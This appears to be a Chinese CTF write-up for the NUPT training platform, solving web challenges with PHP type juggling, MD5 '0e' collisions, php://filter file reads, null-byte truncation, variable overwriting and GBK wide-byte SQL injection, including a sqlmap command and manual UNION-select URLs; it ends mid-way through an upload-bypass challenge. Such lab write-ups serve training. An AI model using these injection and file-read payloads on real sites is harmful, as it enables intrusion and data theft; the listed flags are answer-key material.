南京邮电大学网络攻防训练平台writeup
本文带目录版本:https://findneo.github.io/170924NuptCTFWP/
南邮CTF平台网址:
- http://ctf.nuptsast.com/challenges
- http://ctf.nuptzj.cn/challenges
WEB
签到题
nctf{flag_admiaanaaaaaaaaaaa}
ctrl+u或右键查看源代码即可。在CTF比赛中,代码注释、页面隐藏元素、超链接指向的其他页面、HTTP响应头部都可能隐藏flag或提示信息。在渗透测试中,开发者留下的多余注释和测试页面有时也能提供线索。
md5 collision
nctf{md5_collision_is_easy}
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
利用PHP弱类型,前人发现md5('QNKCDZO')='0e830400451993494058024219903391',md5('240610708')='0e462097431906509019562988736854',而因为使用松散比较的缘故,var_dump('0e830400451993494058024219903391'=='0e462097431906509019562988736854');值为真,因此访问 http://chinalover.sinaapp.com/web19/?a=240610708 即可。
1、在PHP中,@被称为错误控制操作符(error control operator),前置@符号的表达式产生的任何错误都将被忽略。
2、1992年发布的MD5算法是一种广泛使用的哈希算法,最初被设计用来作为加密算法,在被证明不安全后只能用来做数据完整性校验。MD5算法为消息产生128位摘要,常表示为32位十六进制串,由[0-9a-e]组成。
3、PHP的比较操作符主要有两类——松散比较和严格比较,于是就有了equal()和Identical(=)两种相等,主要区别在于前者会在比较前根据上下文对操作数进行类型转换(type juggling)而后者不会。这种juggle总的来说利大于弊,但确实容易玩脱。
? 此处只谈涉及字符串和数值的松散比较。根据本地实验结合官方文档,我们可以总结出来,这种类型转换的行为关键在于两点,一是判断字符串是否处于数字语境(in a numeric context),二是如何为处于数字语境的字符串取值。
? 当操作符为==
时,若有一个操作数为int/float
或两个操作数is_numeric()
均为真,则判断为处于数字语境;当操作符为数字操作符,如+-/*
时,则判断为处于数字语境。(此段为实验支持下的个人猜测,未找到依据。)
? 根据PHP官方文档 ,如果一个字符串被认定处于数字语境,那么它的取值取决于字符串的前面一部分,如果字符串以有效的数字型数据【Valid numeric data ,正则匹配表达为 \s(\d+\.?\d*|\.\d+)([eE]\d+)?\s
,含有[eE]的视为科学计数法】开头,那么字符串取开头部分的数值,否则取0 。实验发现1e
也被取值为1而不是0,这有点奇怪 ??
<?php
$a1=1; $b1="1"; $c1="1padding";
$a2=.1; $b2=".1"; $c2=".1padding";
$a3=1.; $b3="1."; $c3="1.padding";
$a4=1.1; $b4="1.1"; $c4="1.1padding";
$a5=1.e1; $b5="1.e1"; $c5="1.e1padding";
$a6=.1e1; $b6=".1e1"; $c6=".1e1padding";
$a7=1.1e1; $b7="1.1e1"; $c7="1.1e1padding";
$a8=1e1; $b8="1e1"; $c8="1e1padding";
var_dump($a8==$b8);//true
var_dump($a8==$c8);//true
var_dump($b8==$c8);//false
var_dump($a8+$b8);//float(20)
var_dump($a8+$c8);//float(20)
var_dump($b8+$c8);//float(20)
4、其他符合/0[eE]\d{30}/
的MD5值:
string(strlen($var)) $var | string(strlen(md5(\(var))) md5(\)var) |
---|---|
QNKCDZO | 0e830400451993494058024219903391 |
s878926199a | 0e545993274517709034328855841020 |
s155964671a | 0e342768416822451524974117254469 |
s1502113478a | 0e861580163291561247404381396064 |
s214587387a | 0e848240448830537924465865611904 |
s878926199a | 0e545993274517709034328855841020 |
s1091221200a | 0e940624217856561557816327384675 |
s1885207154a | 0e509367213418206700842008763514 |
s1836677006a | 0e481036490867661113260034900752 |
s1184209335a | 0e072485820392773389523109082030 |
s1665632922a | 0e731198061491163073197128363787 |
s532378020a | 0e220463095855511507588041205815 |
240610708 | 0e462097431906509019562988736854 |
签到2
尚未登录或口令错误
nctf{follow_me_to_exploit}
maxlength="10" 而口令 zhimakaimen 有11位,数据在前端就会被截断掉。这时有两种做法,一种是在chrome/Firefox浏览器的开发者工具中将 maxlength="10" 字段修改为 maxlength="11" 或是更大的值;另一种是使用hackbar或burp直接向 http://teamxlc.sinaapp.com/web1/02298884f0724c04293b4d8c0178615e/index.php post text1=zhimakaimen 。客户端的行为都是可控的,所以熟悉HTML和JavaScript是重要的。
这题不是WEB
nctf{photo_can_also_hid3_msg}
下载图片并用winhex打开,在末尾发现字符串。一个简单的隐写。
层层递进
nctf{this_is_a_fl4g}
查看源代码,跟随链接,依次访问SO.html
-> S0.html
->SO.htm
->S0.htm
->404.html
,在最后一个页面里的注释部分可找到flag。还是查看源代码,细心就会发现异常。
AAencode
nctf{javascript_aaencode}
aaencode是一种把js代码编码成日语颜文字的编码方式,使用Unicode编码查看,然后 在线解码 。工具作者颇有幽默感。
单身二十年
nctf{yougotit_script_now}
访问 http://chinalover.sinaapp.com/web8/search_key.php 会被重定向到 http://chinalover.sinaapp.com/web8/no_key_is_here_forever.php ,重定向会被浏览器自动处理,burp抓包则可见flag。
你从哪里来
你是从 google 来的吗?
传送门:题目地址
nctf{http_referer}
给请求加上referer: https://www.google.com
即可。从https://github.com/otakekumi/NUPT_Challenges/blob/master/WEB/你从哪里来/index.php 看到源代码可能有点问题。
<?php
$referer = $_SERVER['referer'];
if ($referer === "https://www.google.com/ " || $referer === "https://www.google.com"){
echo "nctf{http_referer}";
}else{
echo "are you from google?";
}
?>
第二行应该是 $referer = $_SERVER['HTTP_REFERER'];
?
php decode
<?php
function CLsI($ZzvSWE)
{
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;}
echo CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA==");
nctf{gzip_base64_hhhhhh}
运行代码即可。
文件包含
nctf{edulcni_elif_lacol_si_siht}
使用PHP的filter协议读取index.php,即访问 http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/convert.base64-encode/resource=index.php ,将得到的字符串base64解码。
单身一百年也没用
nctf{this_is302redirect}
flag藏在响应头中。
Download~!
nctf{download_any_file_666}
访问 http://way.nuptzj.cn/web6/download.php?url=base64-of-file-name 可以下载允许下载的任意文件,所以先下载download.php,得到白名单列表里有hereiskey.php,再下载下来就可见flag。
COOKIE
nctf{cookie_is_different_from_session}
看到响应头中有Set-Cookie: Login=0
,因此在请求头加入Cookie: Login=1
即可。
MYSQL
nctf{query_in_mysql}
根据提示查看robots.txt,内容如下
TIP:sql.php
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "no! try again
";
}
else{
echo($query[content]);
}
}
?>
说明要向sql.php提交一个id,使得intval($_GET[id])
为1024而$_GET[id]==1024
为假。intval识别到非数字的那一位,而松散比较前的强制类型转换会把e
当作科学计数法的一部分处理,所以可以提交id=1024e1
等,如访问http://chinalover.sinaapp.com/web11/sql.php?id=1024e1
。
1、robots.txt可能藏有提示
2、
int intval ( mixed $var [, int $base = 10 ] )
只取/\d*/
的部分。
sql injection 3
nctf{gbk_3sqli}
分别访问id=2
和id=3
得到提示gbk_sql_injection
和the fourth table
,所以是存在宽字节注入,flag在第四个表里面。上sqlmap跑一跑,最后一步是这样:
python sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%d6'" -T ctf4 -C flag --dump
也可以手注:
步骤一:确认该点存在注入
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2 和
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6%27--+
返回结果相同。
由于MySQL执行查询时会跳过畸形字符,而 id=2%d6%27--+ 经过转义变为id=2%d6%5c%27--+ ,
其中%d6%5c被合在一起解释,也就是id = '2?'-- 效果等价于 id = '2'--,但我们获得了执行sql的机会。
步骤二:查询数据库名
发现支持union查询 ,
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6%27+and+0+union+select+null,database()--+
,之所以要加and+0+是因为显示点只有一处,必须让原来的查询失败。得到数据库名为'sae-chinalover'。
步骤三:查询名为'sae-chinalover'的数据库的表的数量和名字
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6'+and+0+union+select+null,count(*)+from+information_schema.tables+where+table_schema=database()--+
得到目前的数据库含有5张表
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6'+and+0+union+select+null,table_name+from+information_schema.tables+where+table_schema=database()+limit+3,1--+
得到第四张表表名为'ctf4'
MySQL的information_schema数据库包含所有数据库的元信息,其中的tables表包含其他数据库的数据库名、表名、表类型、创建时间等许多信息,其中table_schema列为数据库名,table_name列为表名。因为能显示出来的记录有限,所以必须用limit来控制要显示第几条记录,否则只能显示第一条。
limit用法是这样LIMIT {[offset,] row_count | row_count OFFSET offset},必须放在where后面。
步骤四:查询表'ctf4'中的flag
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6'+and+0+union+select+null,count(*)+from+ctf4--+
发现该表只有一条记录
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6'+and+0+union+select+null,flag+from+ctf4--+
猜测列名为flag,查询得到flag
附一个select查询语法
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[PARTITION partition_list]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
/x00
nctf{use00to_jieduan}
访问得到源码
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
要求提交的nctf的值符合正则匹配(一个或多个数字)并且能被strpos找到#biubiubiu
,根据提示查到资料ereg会把null视为字符串的结束,从而被%00截断,而strpos则可以越过%00,所以提交nctf=1%00%23biubiubiu
即可。
参考资料
由于在PHP中string的实现本质上是一个以字节为单位的数组加上一个声明缓冲区长度的整形,因此string类型可以由任何值构成,即使是“NUL bytes”,但PHP中有些底层库(比如C语言相关的,因为C语言中\0标识字符串的结束)会忽略"a NUL byte"后面的数据,使用了这些库的函数就是非二进制安全的(non-binary-safe),ereg就是一个例子。闲着无聊搜了一下发现还有这么一些函数:
- int strcoll ( string $str1 , string $str2 )
Locale based string comparison (when current locale is not C or POSIX) - public array TokyoTyrantTable::get ( mixed $keys )
Gets a row from table database. (version>0.3.0) - public Exception::__construct ([ string $message = "" [, int $code = 0 [, Throwable $previous = NULL ]]] )
Construct the exception 。其中对message的处理是非二进制安全的。 - public Error::__construct ([ string $message = "" [, int $code = 0 [, Throwable $previous = NULL ]]] )
Construct the error object 。其中对message的处理是非二进制安全的。 - bool error_log ( string $message [, int $message_type = 0 [, string $destination [, string $extra_headers ]]] )
Sends an error message to the web server's error log or to a file.。其中对message的处理是非二进制安全的。(error_log() is not binary safe. message will be truncated by null character.) - bool radius_put_string ( resource $radius_handle , int $type , string $value [, int $options = 0 [, int \(tag ]] ) Attaches a string attribute。 其中\)value值基于会被null截断的底层库,是非二进制安全的。
- bool radius_put_vendor_string ( resource $radius_handle , int $vendor , int $type , string $value [, int $options = 0 [, int \(tag ]] ) Attaches a vendor specific string attribute 。\)value是非二进制安全的。
- string addcslashes ( string $str , string $charlist ) (存疑,似乎并不是)
Quote string with slashes in a C style. Returns a string with backslashes before characters that are listed in charlist parameter. - array gzfile ( string $filename [, int $use_include_path = 0 ] ) (存疑,待验证)
Read entire gz-file into an array - 还有这些
<?php
$s=$_REQUEST['a']; // http://localhost/test.php?a=asd%00asdf
$p='asdf';
var_dump(ereg_replace($p,'abcc',$s)); //string(3) "asd"
var_dump(eregi_replace($p,'abcc',$s));//string(3) "asd"
var_dump(ereg($p,$s));//bool(false)
var_dump(eregi($p,$s));//bool(false)
var_dump(split($p,$s));//array(1) { [0]=> string(8) "asd\0asdf" }
var_dump(split($p,$s));//array(1) { [0]=> string(8) "asd\0asdf" }
var_dump(sql_regcase($s)); //看起来没问题啊。。。string(29) "[Aa][Ss][Dd]\0[Aa][Ss][Dd][Ff]"
// ereg_replace — Replace regular expression
// ereg — Regular expression match
// eregi_replace — Replace regular expression case insensitive
// eregi — Case insensitive regular expression match
// split — Split string into array by regular expression
// spliti — Split string into array by regular expression case insensitive
// sql_regcase — Make regular expression for case insensitive match
bypass again
nctf{php_is_so_cool}
访问得到源码
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) === md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
源码要求提交两个不相等的值使他们的md5值严格相等。md5()函数要求接收一个字符串,若传递进去一个数组,则会返回null,即var_dump(md5(array(2))===null);
值为bool(true)
,因此向$_GET数组传入两个名为a、b的不相等的数组,从而导致md5()均返回空,于是得到flag,如访问 http://chinalover.sinaapp.com/web17/index.php?a[]=&b[]=1
变量覆盖
nctf{bian_liang_fu_gai!}
source.php核心代码如下
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
extract($_POST);
if ($pass == $thepassword_123)
echo $theflag;
}
extract()函数原型为int extract(array &$var_array [,int $extract_type=EXTR_OVERWRITE [,string $prefix = NULL]])
,从数组中将变量导入当前符号表,$extract_type
缺省值为1,若没有另外指定,函数将覆盖已有变量,故传入任意pass和与之相等的thepassword_123即可。其实我们甚至可以覆盖theflag变量,但是那样就拿不到真正的flag了 ??。source.php包含源码。
PHP是世界上最好的语言
nctf{php_is_best_language}
index.txt核心代码如下
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("not allowed!
");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "Access granted!
";
echo "flag: *****************}
";
}
网页会拒绝任何含有hackerDJ
的提交(忽略大小写),但接受urldecode后为hackerDJ
的字符串,所以按照对照表编码,并将%
编码为%25
后提交,自动解码一次后%25
变为%
,代码中再解码一次后便得到flag。即访问 http://way.nuptzj.cn/php/index.php?id=%2568%2561%2563%256b%2565%2572%2544%254a 这是个二次编码的问题。
伪装者
这是一个到处都有着伪装的世界
题目地址:点我
nctf{happy_http_headers}
referer改了没用,据说请求头添加X-Forwarded-For: 127.0.0.1
即可,没有成功,怀疑服务端代码有问题,可能是和你从哪里来
那题一样的问题。XFF头用以标志客户端真实IP,常用在使用HTTP 代理或者负载均衡服务时。
header
nctf{tips_often_hide_here}
使用chrome浏览器的开发者工具可以看到相应数据包的头部有flag字段,其值即flag。
上传绕过
题目地址:猜猜代码怎么写的
nctf{welcome_to_hacks_world}
当filename为1.jpg时返回如下:
Array
(
[0] => .jpg
[1] => jpg
)
Upload: 1.jpg
Type: text/plain
Size: 0.0078125 Kb
Stored in: ./uploads/8a9e5f6a7a789acb.phparray(4) {
["dirname"]=>
string(9) "./uploads"
["basename"]=>
string(5) "1.jpg"
["extension"]=>
string(3) "jpg"
["filename"]=>
string(1) "1"
}
必须上传成后缀名为php的文件才行啊!